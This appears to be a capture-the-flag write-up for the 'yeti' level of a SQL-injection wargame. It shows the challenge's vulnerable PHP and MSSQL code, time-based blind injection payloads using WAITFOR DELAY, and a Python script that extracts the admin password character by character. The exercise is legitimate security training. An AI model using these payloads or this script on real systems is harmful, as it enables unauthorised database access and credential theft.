Post

LOS Lv.43 yeti

yeti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
query : select id from prob_yeti where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

Solution

1
2
3
필터링에 waitfor, prob이 없어졌고, 에러를 보여주지 않음.

-> Time based sql injection

여기서 테스트하면서 확인 : http://sqlfiddle.com/

1
2
3
?id=' or 1=(iif(1=1,1,waitfor delay '00:00:03')) --%20

-> waitfor 문법 오류 발생
1
2
3
4
5
6
테스트 하던 도중 이제 세미콜론이 필요없다는 사실을 알아냄.

id='admin'; if 1=1 waitfor delay '00:00:01' 이렇게 해야 

참일 때 딜레이되고 거짓일 때 딜레이가 안되는데 세미콜론이
필터링 되어있어서 시도를 안해봤는데 해보니까 작동함!
1
2
3
?id=' if (select len(pw) from prob_yeti where id='admin')=8 waitfor delay '00:00:02' --%20

비밀번호는 8임.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url='https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

pw=''

for i in range(1,9) :
    for j in range(48,123) :
        payload={'id' : "' if (select ascii(substring(pw,"+str(i)+",1)) from prob_yeti where id='admin')="+str(j)+" waitfor delay '00:00:05' -- "}
        t1=time.time()
        res=requests.get(url, headers=headers, params=payload, cookies=cookies)
        t2=time.time()
        if t2-t1>4:
            pw+=chr(j)
            print("pw : "+pw) # 6425b725
            break
        
print("YETI Clear!")
This post is licensed under CC BY 4.0 by the author.